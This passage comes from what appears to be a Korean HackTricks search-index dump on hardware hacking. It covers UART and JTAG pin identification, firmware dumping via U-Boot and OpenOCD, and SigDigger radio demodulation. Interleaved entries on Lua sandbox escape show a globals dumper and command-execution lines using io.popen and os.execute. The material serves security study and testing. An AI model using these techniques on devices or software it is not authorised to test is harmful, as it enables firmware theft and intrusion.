프로브를 접지에 놓고 빨간색 프로브를 핀에 놓습니다. 장치를 켭니다. 멀티미터가 3.3V 또는 5V의 일정한 전압을 측정하면 Vcc 핀을 찾은 것입니다. 다른 전압이 나오면 다른 포트로 다시 시도합니다. TX 포트 를 식별하려면, DC 전압 모드 를 20V로 설정하고 검은색 프로브를 접지에 놓고 빨간색 프로브를 핀에 놓고 장치를 켭니다. 전압이 몇 초 동안 변동하다가 Vcc 값으로 안정화되면 TX 포트를 찾은 것입니다. 이는 전원이 켜질 때 일부 디버그 데이터를 전송하기 때문입니다. RX 포트 는 나머지 3개 포트와 가장 가까운 포트로, 전압 변동이 가장 적고 모든 UART 핀 중에서 가장 낮은 전체 값을 가집니다. TX와 RX 포트를 혼동해도 아무 일도 일어나지 않지만, GND와 VCC 포트를 혼동하면 회로가 손상될 수 있습니다. 일부 대상 장치에서는 제조업체가 RX 또는 TX 또는 두 개 모두를 비활성화하여 UART 포트를 비활성화합니다. 이 경우 회로 기판의 연결을 추적하고 일부 브레이크아웃 포인트를 찾는 것이 도움이 될 수 있습니다. UART의 감지가 없고 회로가 끊어졌음을 확인하는 강력한 힌트는 장치 보증을 확인하는 것입니다. 장치가 보증과 함께 배송된 경우, 제조업체는 일부 디버그 인터페이스(이 경우 UART)를 남겨두고, 따라서 UART를 분리했을 것이며 디버깅 중에 다시 연결할 것입니다. 이러한 브레이크아웃 핀은 납땜하거나 점퍼 와이어로 연결할 수 있습니다.","breadcrumbs":"Hardware Hacking » UART » UART 포트 식별","id":"10270","title":"UART 포트 식별"},"10271":{"body":"올바른 전송 속도를 식별하는 가장 쉬운 방법은 TX 핀의 출력을 보고 데이터를 읽어보는 것 입니다. 수신한 데이터가 읽을 수 없다면, 데이터가 읽을 수 있을 때까지 다음 가능한 전송 속도로 전환합니다. USB-직렬 어댑터나 Bus Pirate와 같은 다목적 장치를 사용하여 이를 수행할 수 있으며, baudrate.py 와 같은 도우미 스크립트와 함께 사용할 수 있습니다. 가장 일반적인 전송 속도는 9600, 38400, 19200, 57600 및 115200입니다. caution 이 프로토콜에서는 한 장치의 TX를 다른 장치의 RX에 연결해야 한다는 점에 유의하는 것이 중요합니다!","breadcrumbs":"Hardware Hacking » UART » UART 전송 속도 식별","id":"10271","title":"UART 전송 속도 식별"},"10272":{"body":"CP210X 칩은 Serial Communication을 위해 NodeMCU(esp8266 포함)와 같은 많은 프로토타입 보드에서 사용됩니다. 이러한 어댑터는 상대적으로 저렴하며 대상의 UART 인터페이스에 연결하는 데 사용할 수 있습니다. 이 장치는 5개의 핀을 가지고 있습니다: 5V, GND, RXD, TXD, 3.3V. 손상을 방지하기 위해 대상이 지원하는 전압으로 연결해야 합니다. 마지막으로 어댑터의 RXD 핀을 대상의 TXD에, 어댑터의 TXD 핀을 대상의 RXD에 연결합니다. 어댑터가 감지되지 않는 경우, 호스트 시스템에 CP210X 드라이버가 설치되어 있는지 확인하십시오. 어댑터가 감지되고 연결되면 picocom, minicom 또는 screen과 같은 도구를 사용할 수 있습니다. Linux/MacOS 시스템에 연결된 장치를 나열하려면: ls /dev/ UART 인터페이스와 기본적으로 상호작용하려면 다음 명령어를 사용하세요: picocom /dev/ --baud minicom의 경우, 다음 명령어를 사용하여 구성합니다: minicom -s Serial port setup 옵션에서 baudrate 및 장치 이름과 같은 설정을 구성합니다. 구성이 완료되면 minicom 명령을 사용하여 UART 콘솔을 시작합니다.","breadcrumbs":"Hardware Hacking » UART » CP210X UART to TTY 어댑터","id":"10272","title":"CP210X UART to TTY 어댑터"},"10273":{"body":"UART Serial to USB 어댑터가 없는 경우, Arduino UNO R3를 빠른 해킹으로 사용할 수 있습니다. Arduino UNO R3는 일반적으로 어디서나 구할 수 있으므로 많은 시간을 절약할 수 있습니다. Arduino UNO R3에는 보드 자체에 USB to Serial 어댑터가 내장되어 있습니다. UART 연결을 얻으려면 Atmel 328p 마이크로컨트롤러 칩을 보드에서 분리하기만 하면 됩니다. 이 해킹은 Atmel 328p가 보드에 납땜되지 않은 Arduino UNO R3 변형에서 작동합니다(여기서는 SMD 버전이 사용됩니다). Arduino의 RX 핀(디지털 핀 0)을 UART 인터페이스의 TX 핀에 연결하고 Arduino의 TX 핀(디지털 핀 1)을 UART 인터페이스의 RX 핀에 연결합니다. 마지막으로, Serial Console을 얻기 위해 Arduino IDE를 사용하는 것이 좋습니다. 메뉴의 tools 섹션에서 Serial Console 옵션을 선택하고 UART 인터페이스에 따라 baud rate를 설정합니다.","breadcrumbs":"Hardware Hacking » UART » UART Via Arduino UNO R3 (Removable Atmel 328p Chip Boards)","id":"10273","title":"UART Via Arduino UNO R3 (Removable Atmel 328p Chip Boards)"},"10274":{"body":"이 시나리오에서는 Arduino의 UART 통신을 스니핑하여 프로그램의 모든 출력을 Serial Monitor로 전송하는 과정을 살펴봅니다. bash # Check the modes\\nUART>m\\n1. HiZ\\n2. 1-WIRE\\n3. UART\\n4. I2C\\n5. SPI\\n6. 2WIRE\\n7. 3WIRE\\n8. KEYB\\n9. LCD\\n10. PIC\\n11. DIO\\nx. exit(without change) # Select UART\\n(1)>3\\nSet serial port speed: (bps)\\n1. 300\\n2. 1200\\n3. 2400\\n4. 4800\\n5. 9600\\n6. 19200\\n7. 38400\\n8. 57600\\n9. 115200\\n10. BRG raw value # Select the speed the communication is occurring on (you BF all this until you find readable things)\\n# Or you could later use the macro (4) to try to find the speed\\n(1)>5\\nData bits and parity:\\n1. 8, NONE *default\\n2. 8, EVEN\\n3. 8, ODD\\n4. 9, NONE # From now on pulse enter for default\\n(1)>\\nStop bits:\\n1. 1 *default\\n2. 2\\n(1)>\\nReceive polarity:\\n1. Idle 1 *default\\n2. Idle 0\\n(1)>\\nSelect output type:\\n1. Open drain (H=Hi-Z, L=GND)\\n2. Normal (H=3.3V, L=GND) (1)>\\nClutch disengaged!!!\\nTo finish setup, start up the power supplies with command \'W\'\\nReady # Start\\nUART>W\\nPOWER SUPPLIES ON\\nClutch engaged!!! # Use macro (2) to read the data of the bus (live monitor)\\nUART>(2)\\nRaw UART input\\nAny key to exit\\nEscritura inicial completada:\\nAAA Hi Dreg! AAA\\nwaiting a few secs to repeat....","breadcrumbs":"Hardware Hacking » UART » Bus Pirate","id":"10274","title":"Bus Pirate"},"10275":{"body":"UART 콘솔은 런타임 환경에서 기본 펌웨어와 작업할 수 있는 훌륭한 방법을 제공합니다. 그러나 UART 콘솔 접근이 읽기 전용일 경우 많은 제약이 있을 수 있습니다. 많은 임베디드 장치에서 펌웨어는 EEPROM에 저장되고 휘발성 메모리를 가진 프로세서에서 실행됩니다. 따라서 원래 펌웨어가 제조 중 EEPROM 내부에 있기 때문에 펌웨어는 읽기 전용으로 유지되며, 새로운 파일은 휘발성 메모리로 인해 손실될 수 있습니다. 따라서 임베디드 펌웨어 작업 시 펌웨어 덤프는 귀중한 노력입니다. 이를 수행하는 방법은 여러 가지가 있으며, SPI 섹션에서는 다양한 장치를 사용하여 EEPROM에서 직접 펌웨어를 추출하는 방법을 다룹니다. 그러나 물리적 장치와 외부 상호작용을 통한 펌웨어 덤프는 위험할 수 있으므로 먼저 UART를 사용하여 펌웨어를 덤프하는 것을 권장합니다. UART 콘솔에서 펌웨어를 덤프하려면 먼저 부트로더에 접근해야 합니다. 많은 인기 있는 공급업체는 Linux를 로드하기 위해 uboot(유니버설 부트로더)를 부트로더로 사용합니다. 따라서 uboot에 접근하는 것이 필요합니다. 부트로더에 접근하려면 UART 포트를 컴퓨터에 연결하고 모든 Serial Console 도구를 사용하며 장치의 전원 공급 장치를 분리합니다. 설정이 완료되면 Enter 키를 누르고 유지합니다. 마지막으로 장치에 전원 공급 장치를 연결하고 부팅을 시작합니다. 이렇게 하면 uboot의 로딩이 중단되고 메뉴가 제공됩니다. uboot 명령어를 이해하고 도움말 메뉴를 사용하여 목록을 나열하는 것이 권장됩니다. 이는 help 명령일 수 있습니다. 서로 다른 공급업체가 서로 다른 구성을 사용하므로 각 구성을 개별적으로 이해하는 것이 필요합니다. 일반적으로 펌웨어를 덤프하는 명령은: md \\"메모리 덤프\\"를 의미합니다. 이는 메모리(EEPROM 내용)를 화면에 덤프합니다. 메모리 덤프를 캡처하기 위해 절차를 시작하기 전에 Serial Console 출력을 기록하는 것이 권장됩니다. 마지막으로, 로그 파일에서 불필요한 데이터를 모두 제거하고 파일을 filename.rom으로 저장한 다음 binwalk를 사용하여 내용을 추출합니다: binwalk -e 이것은 헥스 파일에서 발견된 서명에 따라 EEPROM의 가능한 내용을 나열합니다. 하지만 uboot가 사용되고 있더라도 항상 잠금 해제가 되어 있는 것은 아니라는 점에 유의해야 합니다. Enter 키가 아무런 반응을 보이지 않으면 Space 키와 같은 다른 키를 확인하십시오. 부트로더가 잠겨 있고 중단되지 않으면 이 방법은 작동하지 않습니다. uboot가 장치의 부트로더인지 확인하려면 장치 부팅 중 UART 콘솔의 출력을 확인하십시오. 부팅 중에 uboot가 언급될 수 있습니다. tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Hardware Hacking » UART » UART 콘솔을 통한 펌웨어 덤프","id":"10275","title":"UART 콘솔을 통한 펌웨어 덤프"},"10276":{"body":"Reading time: 8 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Hardware Hacking » Radio » Radio","id":"10276","title":"Radio"},"10277":{"body":"SigDigger 은 GNU/Linux 및 macOS용 무료 디지털 신호 분석기로, 알려지지 않은 라디오 신호의 정보를 추출하도록 설계되었습니다. SoapySDR를 통해 다양한 SDR 장치를 지원하며, FSK, PSK 및 ASK 신호의 조정 가능한 복조, 아날로그 비디오 디코딩, 버스트 신호 분석 및 아날로그 음성 채널 청취(모두 실시간)를 허용합니다.","breadcrumbs":"Hardware Hacking » Radio » SigDigger","id":"10277","title":"SigDigger"},"10278":{"body":"설치 후 구성할 수 있는 몇 가지 사항이 있습니다. 설정(두 번째 탭 버튼)에서 SDR 장치 를 선택하거나 파일을 선택 하여 읽고 조정할 주파수 및 샘플 속도(PC가 지원하는 경우 최대 2.56Msps 권장)를 선택할 수 있습니다. GUI 동작에서 PC가 지원하는 경우 몇 가지를 활성화하는 것이 좋습니다: note PC가 신호를 캡처하지 못하는 경우 OpenGL을 비활성화하고 샘플 속도를 낮추는 것을 시도해 보세요.","breadcrumbs":"Hardware Hacking » Radio » Basic Config","id":"10278","title":"Basic Config"},"10279":{"body":"신호의 일부를 캡처하고 분석 하려면 \\"Push to capture\\" 버튼을 필요한 만큼 유지하세요. SigDigger의 튜너 는 더 나은 신호를 캡처하는 데 도움 을 줍니다(하지만 신호를 저하시킬 수도 있습니다). 이상적으로는 0에서 시작하여 신호의 개선보다 노이즈 가 더 커질 때까지 크기를 늘려가세요 .","breadcrumbs":"Hardware Hacking » Radio » Uses","id":"10279","title":"Uses"},"1028":{"body":"Dump the global environment to inventory reachable tables/functions: lua -- Minimal _G dumper for any Lua sandbox with some output primitive `out`\\nlocal function dump_globals(out)\\nout(\\"=== DUMPING _G ===\\")\\nfor k, v in pairs(_G) do\\nout(tostring(k) .. \\" = \\" .. tostring(v))\\nend\\nend print()이 사용 불가능하면 in-VM 채널을 재사용하세요. MMO housing script VM의 예로, 채팅 출력은 사운드 호출 이후에만 동작합니다; 다음은 신뢰할 수 있는 출력 함수를 구축하는 예입니다: lua -- Build an output channel using in-game primitives\\nlocal function ButlerOut(label)\\n-- Some engines require enabling an audio channel before speaking\\nH.PlaySound(0, \\"r[1]\\") -- quirk: required before H.Say()\\nreturn function(msg)\\nH.Say(label or 1, msg)\\nend\\nend function OnMenu(menuNum)\\nif menuNum ~= 3 then return end\\nlocal out = ButlerOut(1)\\ndump_globals(out)\\nend 대상에 대해 이 패턴을 일반화하라: 문자열을 허용하는 모든 textbox, toast, logger, 또는 UI callback은 reconnaissance를 위한 stdout 역할을 할 수 있다.","breadcrumbs":"Lua Sandbox Escape » Enumerate the sandboxed environment","id":"1028","title":"Enumerate the sandboxed environment"},"10280":{"body":"SigDigger 로 듣고 싶은 채널과 동기화하고 \\"Baseband audio preview\\" 옵션을 구성한 후, 전송되는 모든 정보를 얻기 위해 대역폭을 설정하고 튜너를 노이즈가 실제로 증가하기 시작하기 전의 수준으로 설정하세요:","breadcrumbs":"Hardware Hacking » Radio » Synchronize with radio channel","id":"10280","title":"Synchronize with radio channel"},"10281":{"body":"장치가 정보의 버스트를 전송할 때, 일반적으로 첫 부분은 프리앰블 이므로 정보를 찾지 못하더라도 걱정할 필요가 없습니다 또는 그곳에 오류가 있는 경우 . 정보 프레임에서는 일반적으로 서로 잘 정렬된 다양한 프레임을 찾아야 합니다 : 비트를 복구한 후에는 어떤 식으로든 처리해야 할 수 있습니다 . 예를 들어, 맨체스터 부호화에서 up+down은 1 또는 0이고 down+up은 다른 하나가 됩니다. 따라서 1과 0의 쌍(업과 다운)은 실제 1 또는 실제 0이 됩니다. 신호가 맨체스터 부호화를 사용하고 있다면(연속으로 0 또는 1이 2개 이상 발견되는 것은 불가능), 프리앰블에서 여러 개의 1 또는 0을 함께 찾을 수 있습니다 !","breadcrumbs":"Hardware Hacking » Radio » Interesting tricks","id":"10281","title":"Interesting tricks"},"10282":{"body":"신호에 정보를 저장하는 방법은 3가지가 있습니다: 진폭 , 주파수 또는 위상 을 변조하는 것입니다. 신호를 확인할 때 정보를 저장하는 데 사용되는 방법을 알아내기 위해 다양한 방법을 시도할 수 있지만(아래에서 더 많은 방법을 찾을 수 있음), 좋은 방법 중 하나는 IQ 그래프를 확인하는 것입니다. AM 감지 : IQ 그래프에 예를 들어 2개의 원 이 나타나면(아마도 하나는 0에, 다른 하나는 다른 진폭에 있을 것입니다), 이는 AM 신호일 수 있습니다. 이는 IQ 그래프에서 0과 원 사이의 거리가 신호의 진폭이기 때문에 서로 다른 진폭이 사용되는 것을 쉽게 시각화할 수 있습니다. PM 감지 : 이전 이미지와 같이 서로 관련이 없는 작은 원을 찾으면 이는 위상 변조가 사용되고 있음을 의미할 수 있습니다. 이는 IQ 그래프에서 점과 0,0 사이의 각도가 신호의 위상이기 때문에 4개의 서로 다른 위상이 사용되고 있음을 의미합니다. 정보가 위상이 변경되는 사실에 숨겨져 있고 위상 자체에 숨겨져 있다면, 서로 다른 위상이 명확하게 구분되지 않을 것입니다. FM 감지 : IQ에는 주파수를 식별하는 필드가 없습니다(중심까지의 거리는 진폭이고 각도는 위상입니다). 따라서 FM을 식별하려면 이 그래프에서 기본적으로 원만 보이게 해야 합니다. 게다가, 다른 주파수는 IQ 그래프에서 원 주위를 가로지르는 속도 가속 으로 \\"표현\\"됩니다(따라서 SysDigger에서 신호를 선택하면 IQ 그래프가 채워지며, 생성된 원에서 가속 또는 방향 변화가 발견되면 이는 FM일 수 있습니다):","breadcrumbs":"Hardware Hacking » Radio » Uncovering modulation type with IQ","id":"10282","title":"Uncovering modulation type with IQ"},"10283":{"body":"","breadcrumbs":"Hardware Hacking » Radio » AM Example","id":"10283","title":"AM Example"},"10284":{"body":"Checking the envelope SigDigger 로 AM 정보를 확인하고 엔벨로프 를 보면 서로 다른 명확한 진폭 수준을 볼 수 있습니다. 사용된 신호는 AM으로 정보를 전송하는 펄스를 보내고 있으며, 하나의 펄스는 다음과 같이 보입니다: 그리고 이것은 파형과 함께 기호의 일부가 어떻게 보이는지입니다: Checking the Histogram 정보가 있는 전체 신호 를 선택하고 진폭 모드와 선택 을 선택한 후 히스토그램 을 클릭할 수 있습니다. 2개의 명확한 수준만 발견할 수 있습니다. 예를 들어, 이 AM 신호에서 진폭 대신 주파수를 선택하면 단 1개의 주파수만 발견됩니다(주파수로 변조된 정보는 단 1개의 주파수만 사용하고 있습니다). 많은 주파수를 발견하면 이는 FM이 아닐 가능성이 높으며, 아마도 신호 주파수가 채널 때문에 수정되었을 것입니다. With IQ 이 예제에서는 큰 원 이 있지만 중앙에 많은 점 이 있는 것을 볼 수 있습니다.","breadcrumbs":"Hardware Hacking » Radio » Uncovering AM","id":"10284","title":"Uncovering AM"},"10285":{"body":"With one symbol 가장 작은 기호를 선택하여(확실히 1개임을 확인) \\"Selection freq\\"를 확인하세요. 이 경우 1.013kHz(즉, 1kHz)가 됩니다. With a group of symbols 선택할 기호의 수를 지정할 수도 있으며, SigDigger는 1개의 기호의 주파수를 계산합니다(선택한 기호가 많을수록 더 좋습니다). 이 시나리오에서는 10개의 기호를 선택했으며 \\"Selection freq\\"는 1.004 Khz입니다:","breadcrumbs":"Hardware Hacking » Radio » Get Symbol Rate","id":"10285","title":"Get Symbol Rate"},"10286":{"body":"이것이 AM 변조 신호이고 기호 속도 를 찾았으며(이 경우 어떤 것이 위로 가면 1이고 어떤 것이 아래로 가면 0임을 알고 있으므로), 신호에 인코딩된 비트를 얻는 것이 매우 쉽습니다 . 따라서 정보를 가진 신호를 선택하고 샘플링 및 결정을 구성한 후 샘플을 누르세요( 진폭 이 선택되어 있고 발견된 기호 속도 가 구성되어 있으며 Gadner clock recovery 가 선택되어 있는지 확인하세요): 선택 간격에 동기화 는 이전에 기호 속도를 찾기 위해 선택한 간격이 사용됨을 의미합니다. 수동 은 지정된 기호 속도가 사용됨을 의미합니다. 고정 간격 선택 에서는 선택해야 할 간격의 수를 지정하고 그로부터 기호 속도를 계산합니다. Gadner clock recovery 는 일반적으로 가장 좋은 옵션이지만, 여전히 대략적인 기호 속도를 지정해야 합니다. 샘플을 누르면 다음과 같은 결과가 나타납니다: 이제 SigDigger가 정보를 전달하는 레벨의 범위 를 이해하도록 하려면 하위 레벨 을 클릭하고 가장 큰 레벨까지 클릭을 유지해야 합니다: 예를 들어 4개의 서로 다른 진폭 수준 이 있었다면, 기호당 비트를 2로 설정 하고 가장 작은 것에서 가장 큰 것까지 선택해야 했습니다. 마지막으로 줌을 증가시키고 행 크기를 변경하면 비트를 볼 수 있습니다(모든 비트를 선택하고 복사하여 모든 비트를 얻을 수 있습니다): 신호에 기호당 1비트 이상(예: 2비트)이 있는 경우, SigDigger는 어떤 기호가 00, 01, 10, 11인지 알 수 없으므로 서로 다른 회색 음영 을 사용하여 각 기호를 나타냅니다(비트를 복사하면 0에서 3까지의 숫자 를 사용하므로 이를 처리해야 합니다). 또한 맨체스터 와 같은 부호화 를 사용하고 업+다운 은 1 또는 0 이 될 수 있으며, 다운+업은 1 또는 0이 될 수 있습니다. 이러한 경우에는 **얻은 업(1)과 다운(0)**을 처리하여 01 또는 10 쌍을 0 또는 1로 대체해야 합니다.","breadcrumbs":"Hardware Hacking » Radio » Get Bits","id":"10286","title":"Get Bits"},"10287":{"body":"","breadcrumbs":"Hardware Hacking » Radio » FM Example","id":"10287","title":"FM Example"},"10288":{"body":"Checking the frequencies and waveform FM으로 변조된 정보를 전송하는 신호 예제: 이전 이미지에서 2개의 주파수가 사용되고 있음을 꽤 잘 관찰할 수 있지만, 파형 을 관찰하면 2개의 서로 다른 주파수를 정확하게 식별하지 못할 수 있습니다 : 이는 제가 두 주파수에서 신호를 캡처했기 때문에, 하나는 대략적으로 다른 주파수의 음수입니다: 동기화된 주파수가 한 주파수에 더 가까운 경우 두 개의 서로 다른 주파수를 쉽게 볼 수 있습니다: Checking the histogram 정보가 있는 신호의 주파수 히스토그램을 확인하면 두 개의 서로 다른 신호를 쉽게 볼 수 있습니다: 이 경우 진폭 히스토그램 을 확인하면 단 하나의 진폭 만 발견되므로 AM일 수 없습니다 (많은 진폭을 발견하면 신호가 채널을 따라 전력을 잃었기 때문일 수 있습니다): 그리고 이것은 위상 히스토그램이 될 것이며(신호가 위상으로 변조되지 않았음을 명확히 보여줍니다): With IQ IQ에는 주파수를 식별하는 필드가 없습니다(중심까지의 거리는 진폭이고 각도는 위상입니다). 따라서 FM을 식별하려면 이 그래프에서 기본적으로 원만 보이게 해야 합니다. 게다가, 다른 주파수는 IQ 그래프에서 원 주위를 가로지르는 속도 가속 으로 \\"표현\\"됩니다(따라서 SysDigger에서 신호를 선택하면 IQ 그래프가 채워지며, 생성된 원에서 가속 또는 방향 변화가 발견되면 이는 FM일 수 있습니다):","breadcrumbs":"Hardware Hacking » Radio » Uncovering FM","id":"10288","title":"Uncovering FM"},"10289":{"body":"주파수를 찾은 후 기호 속도를 얻기 위해 AM 예제에서 사용된 것과 동일한 기술 을 사용할 수 있습니다.","breadcrumbs":"Hardware Hacking » Radio » Get Symbol Rate","id":"10289","title":"Get Symbol Rate"},"1029":{"body":"sandbox가 여전히 표준 라이브러리인 io or os를 노출하고 있다면, 아마 즉시 command execution이 가능할 것이다: lua -- Windows example\\nio.popen(\\"calc.exe\\") -- Cross-platform variants depending on exposure\\nos.execute(\\"/usr/bin/id\\")\\nio.popen(\\"/bin/sh -c \'id\'\\") 참고: 실행은 client 프로세스 내부에서 발생합니다; 외부 디버거를 차단하는 많은 anti-cheat/antidebug 계층은 in-VM process 생성은 막지 못합니다. 또한 확인할 것: package.loadlib (임의의 DLL/.so 로딩), require with native modules, LuaJIT\'s ffi (존재하는 경우), 그리고 debug library (VM 내부에서 권한 상승을 일으킬 수 있음).","breadcrumbs":"Lua Sandbox Escape » io/os가 노출된 경우 직접적인 command execution","id":"1029","title":"io/os가 노출된 경우 직접적인 command execution"},"10290":{"body":"주파수가 변조된 신호를 찾은 후 비트를 얻기 위해 AM 예제에서 사용된 것과 동일한 기술 을 사용할 수 있습니다. tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Hardware Hacking » Radio » Get Bits","id":"10290","title":"Get Bits"},"10291":{"body":"Reading time: 5 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요. HackTricks","breadcrumbs":"Hardware Hacking » JTAG » JTAG","id":"10291","title":"JTAG"},"10292":{"body":"JTAGenum 은 Arduino 호환 MCU 또는 (실험적으로) Raspberry Pi에 로드하여 알려지지 않은 JTAG 핀 배치를 무차별 대입하고 심지어 명령 레지스터를 열거할 수 있는 도구입니다. Arduino: 디지털 핀 D2–D11을 최대 10개의 의심되는 JTAG 패드/테스트 포인트에 연결하고, Arduino GND를 타겟 GND에 연결합니다. 레일이 안전하다는 것을 모르는 한 타겟에 전원을 별도로 공급하십시오. 3.3 V 로직을 선호하거나 (예: Arduino Due) 1.8–3.3 V 타겟을 프로빙할 때 레벨 시프터/직렬 저항기를 사용하십시오. Raspberry Pi: Pi 빌드는 사용 가능한 GPIO가 적어 (스캔 속도가 느림) 현재 핀 맵과 제약 사항은 레포를 확인하십시오. 플래시가 완료되면 115200 보드에서 시리얼 모니터를 열고 h를 보내 도움을 요청합니다. 일반적인 흐름: l 루프백을 찾아 잘못된 긍정 결과를 피합니다. r 필요 시 내부 풀업을 전환합니다. s TCK/TMS/TDI/TDO (때때로 TRST/SRST)를 스캔합니다. y 문서화되지 않은 연산 코드를 발견하기 위해 IR을 무차별 대입합니다. x 핀 상태의 경계 스캔 스냅샷을 생성합니다. 유효한 TAP이 발견되면 FOUND!로 시작하는 줄이 표시되어 발견된 핀을 나타냅니다. 팁 항상 접지를 공유하고, 알려지지 않은 핀을 타겟 Vtref 이상으로 구동하지 마십시오. 의심스러운 경우 후보 핀에 100–470 Ω 직렬 저항기를 추가하십시오. 장치가 4선 JTAG 대신 SWD/SWJ를 사용하는 경우 JTAGenum이 이를 감지하지 못할 수 있습니다. SWD 도구나 SWJ-DP를 지원하는 어댑터를 사용해 보십시오.","breadcrumbs":"Hardware Hacking » JTAG » JTAGenum","id":"10292","title":"JTAGenum"},"10293":{"body":"멀티미터로 먼저 Vtref와 GND를 식별합니다. 많은 어댑터는 I/O 전압을 설정하기 위해 Vtref가 필요합니다. 레벨 시프팅: 푸시-풀 신호를 위해 설계된 양방향 레벨 시프터를 선호합니다 (JTAG 라인은 오픈 드레인이 아닙니다). JTAG에 대해 자동 방향 I2C 시프터는 피하십시오. 유용한 어댑터: FT2232H/FT232H 보드 (예: Tigard), CMSIS-DAP, J-Link, ST-LINK (벤더 특정), ESP-USB-JTAG (ESP32-Sx에서). 최소한 TCK, TMS, TDI, TDO, GND 및 Vtref를 연결하십시오; 선택적으로 TRST 및 SRST를 추가하십시오.","breadcrumbs":"Hardware Hacking » JTAG » Safer pin hunting and hardware setup","id":"10293","title":"Safer pin hunting and hardware setup"},"10294":{"body":"OpenOCD는 JTAG/SWD를 위한 사실상의 OSS입니다. 지원되는 어댑터를 사용하면 체인을 스캔하고 IDCODE를 읽을 수 있습니다: J-Link를 사용한 일반적인 예: openocd -f interface/jlink.cfg -c \\"transport select jtag; adapter speed 1000\\" \\\\\\n-c \\"init; scan_chain; shutdown\\" ESP32‑S3 내장 USB‑JTAG (외부 프로브 필요 없음): openocd -f board/esp32s3-builtin.cfg -c \\"init; scan_chain; shutdown\\" Notes \\"모든 1/0\\" IDCODE를 받으면, 배선, 전원, Vtref를 확인하고 포트가 퓨즈/옵션 바이트에 의해 잠겨 있지 않은지 확인하세요. 알 수 없는 체인을 올릴 때 수동 TAP 상호작용을 위해 OpenOCD 저수준 irscan/drscan을 참조하세요.","breadcrumbs":"Hardware Hacking » JTAG » First contact with OpenOCD (scan and IDCODE)","id":"10294","title":"First contact with OpenOCD (scan and IDCODE)"},"10295":{"body":"TAP이 인식되고 대상 스크립트가 선택되면, 코어를 정지시키고 메모리 영역 또는 내부 플래시를 덤프할 수 있습니다. 예시 (대상, 기본 주소 및 크기를 조정하세요): 초기화 후 일반 대상: openocd -f interface/jlink.cfg -f target/stm32f1x.cfg \\\\\\n-c \\"init; reset halt; mdw 0x08000000 4; dump_image flash.bin 0x08000000 0x00100000; shutdown\\" RISC‑V SoC (가능할 때 SBA를 선호): openocd -f interface/ftdi/ft232h.cfg -f target/riscv.cfg \\\\\\n-c \\"init; riscv set_prefer_sba on; halt; dump_image sram.bin 0x80000000 0x20000; shutdown\\" ESP32‑S3, OpenOCD 헬퍼를 통해 프로그래밍하거나 읽기: openocd -f board/esp32s3-builtin.cfg \\\\\\n-c \\"program_esp app.bin 0x10000 verify exit\\" Tips mdw/mdh/mdb를 사용하여 긴 덤프 전에 메모리를 점검하세요. 다중 장치 체인의 경우, 비대상 장치에서 BYPASS를 설정하거나 모든 TAP을 정의하는 보드 파일을 사용하세요.","breadcrumbs":"Hardware Hacking » JTAG » CPU 정지 및 메모리/플래시 덤프","id":"10295","title":"CPU 정지 및 메모리/플래시 덤프"},"10296":{"body":"CPU 디버그 접근이 잠겨 있어도 경계 스캔이 여전히 노출될 수 있습니다. UrJTAG/OpenOCD를 사용하여: 시스템이 실행되는 동안 핀 상태를 스냅샷하기 위해 SAMPLE을 사용하세요 (버스 활동 찾기, 핀 매핑 확인). 핀을 구동하기 위해 EXTEST를 사용하세요 (예: 보드 배선이 허용하는 경우 MCU를 통해 외부 SPI 플래시 라인을 비트 뱅킹하여 오프라인에서 읽기). FT2232x 어댑터를 사용한 최소 UrJTAG 흐름: jtag> cable ft2232 vid=0x0403 pid=0x6010 interface=1\\njtag> frequency 100000\\njtag> detect\\njtag> bsdl path /path/to/bsdl/files\\njtag> instruction EXTEST\\njtag> shift ir\\njtag> dr 장치 BSDL이 필요하여 경계 레지스터 비트 순서를 알아야 합니다. 일부 공급업체는 생산 중에 경계 스캔 셀을 잠글 수 있습니다.","breadcrumbs":"Hardware Hacking » JTAG » 경계 스캔 트릭 (EXTEST/SAMPLE)","id":"10296","title":"경계 스캔 트릭 (EXTEST/SAMPLE)"},"10297":{"body":"ESP32‑S3/C3는 네이티브 USB‑JTAG 브리지를 포함합니다. OpenOCD는 외부 프로브 없이 USB를 통해 직접 통신할 수 있습니다. 긴급 상황 및 덤프에 매우 편리합니다. RISC‑V 디버그(v0.13+)는 OpenOCD에서 널리 지원됩니다. 코어를 안전하게 중지할 수 없는 경우 메모리 접근을 위해 SBA를 선호합니다. 많은 MCU가 디버그 인증 및 생애 주기 상태를 구현합니다. JTAG가 죽은 것처럼 보이지만 전원이 올바른 경우, 장치가 닫힌 상태로 퓨즈가 걸렸거나 인증된 